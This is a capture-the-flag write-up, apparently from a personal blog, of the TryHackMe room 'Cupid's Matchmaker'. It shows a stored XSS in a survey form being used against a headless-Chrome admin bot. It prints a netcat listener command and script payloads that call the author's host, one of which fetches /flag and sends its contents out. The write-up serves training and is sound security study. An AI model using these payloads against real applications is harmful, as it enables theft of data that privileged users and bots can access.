Writeups/TryHackMe/Cupid's Matchmaker - TryHackMe Writeup | Stored XSS to Admin Bot Flag Theft
TryHackMeEasyRoom

Cupid's Matchmaker - TryHackMe Writeup | Stored XSS to Admin Bot Flag Theft

Cupid's Matchmaker TryHackMe writeup — Love At First Breach 2026: stored XSS in survey, admin bot review, and exfiltration of /flag to capture the flag.

##TryHackMe Room — Cupid's Matchmaker (Love At First Breach 2026)

No algorithms. No AI. Just real human matchmakers.

The app claims “our matchmaking team personally reviews every submission.” That implied my survey answers were stored and then viewed by someone (or something) else — an admin panel or bot. If that viewer rendered my input without sanitizing it, Stored XSS would run in their context, same origin as the app, so we could run e.g. fetch('/flag') and send the result to our server. This writeup documents how I confirmed stored XSS, verified a Headless Chrome bot was doing the review, and exfiltrated the flag from /flag to my listener.


##Overview

ItemDetail
GoalRetrieve the flag by abusing the admin review process
Attack chainSurvey input stored → admin bot views it → XSS runs in bot context → fetch /flag → exfiltrate to attacker
Key conceptsStored XSS, admin/support bot, same-origin privilege abuse

##Reconnaissance

The application was at http://<TARGET_IP>:5000. Response headers showed Werkzeug/Python (likely Flask/Jinja). The main feature was a personality survey at /survey — fields for name, age, ideal date, description, etc. I filled it out with normal data and submitted to see how the app behaved and whether my input was reflected anywhere:

http
POST /survey HTTP/1.1 Host: <TARGET_IP>:5000 Content-Type: application/x-www-form-urlencoded name=...&age=...&ideal_date=...&describe_yourself=...&...

After redirect to /, I only saw a thank-you message. My input was not reflected back to me — so reflected XSS and reflected SSTI were unlikely. The hint was the copy: “Our matchmaking team personally reviews every submission.” So my data was stored and viewed elsewhere (admin panel or bot). If that viewer rendered my input unsanitized, Stored XSS in the admin context would allow stealing data the admin (or bot) could access — e.g. a /flag endpoint.


##Key concept: Stored XSS + admin bot

Stored XSS means malicious input is saved and later rendered for other users (or admins). If an admin bot (e.g. Headless Chrome) visits a page that displays submissions without escaping, our JavaScript runs in the bot’s context — same origin as the app. We can then use fetch('/flag') (or similar) and send the result to our server. No cookie theft required; we abuse the privileged origin of the bot.


##Confirming Stored XSS and bot

I started a listener on my machine:

bash
nc -lnvp 1337

I injected a simple callback into a survey field (e.g. ideal_date or another textarea):

html
<script>fetch('http://<MY_IP>:1337/?ping')</script>

After submitting, within a short time my listener received a request:

http
GET /?ping HTTP/1.1 User-Agent: HeadlessChrome/... Referer: http://localhost:5000/

So:

  • >Stored XSS was confirmed.
  • >A Headless Chrome bot was reviewing submissions.
  • >The bot could make outbound requests to my IP.
  • >JavaScript ran in the app’s origin (localhost:5000 from the bot’s perspective).

Next step: make the bot fetch the flag and send it to me, instead of just “ping.”


##Exfiltrating the flag

I used a payload that fetches /flag and sends the response body to my listener:

html
<script> fetch('/flag') .then(r => r.text()) .then(d => { fetch('http://<MY_IP>:1337/?flag=' + encodeURIComponent(d)); }); </script>

I put this in a survey field, submitted, and waited. My listener received a request like:

http
GET /?flag=THM%7B...%7D HTTP/1.1

URL-decoding the flag parameter yielded the challenge flag in THM{...} format.


##Flag

text
THM{*redacted*}

(Replace with the actual flag when you solve the room.)


##Attack chain summary

StepDescription
1Survey input stored server-side
2Admin bot reviews submissions
3User input rendered unsanitized
4Stored XSS runs in bot context
5JS runs with app origin; bot can access /flag
6fetch('/flag') + exfiltrate to attacker server
7Flag captured

##Pitfalls and notes

  • >Chasing SSTI: Flask + Jinja might suggest server-side template injection, but input was never reflected to my browser and there was no clear blind SSTI. The real vector was client-side execution in the admin’s browser (bot).
  • >Relying on cookie theft: With HttpOnly cookies, stealing the session might be hard. Directly fetching an internal endpoint like /flag and exfiltrating the body was simpler and more reliable.

##References and tools


This writeup is part of my Love At First Breach 2026 event writeups.

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Mar 2026

"No one is useless in this world who lightens the burdens of another." — Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.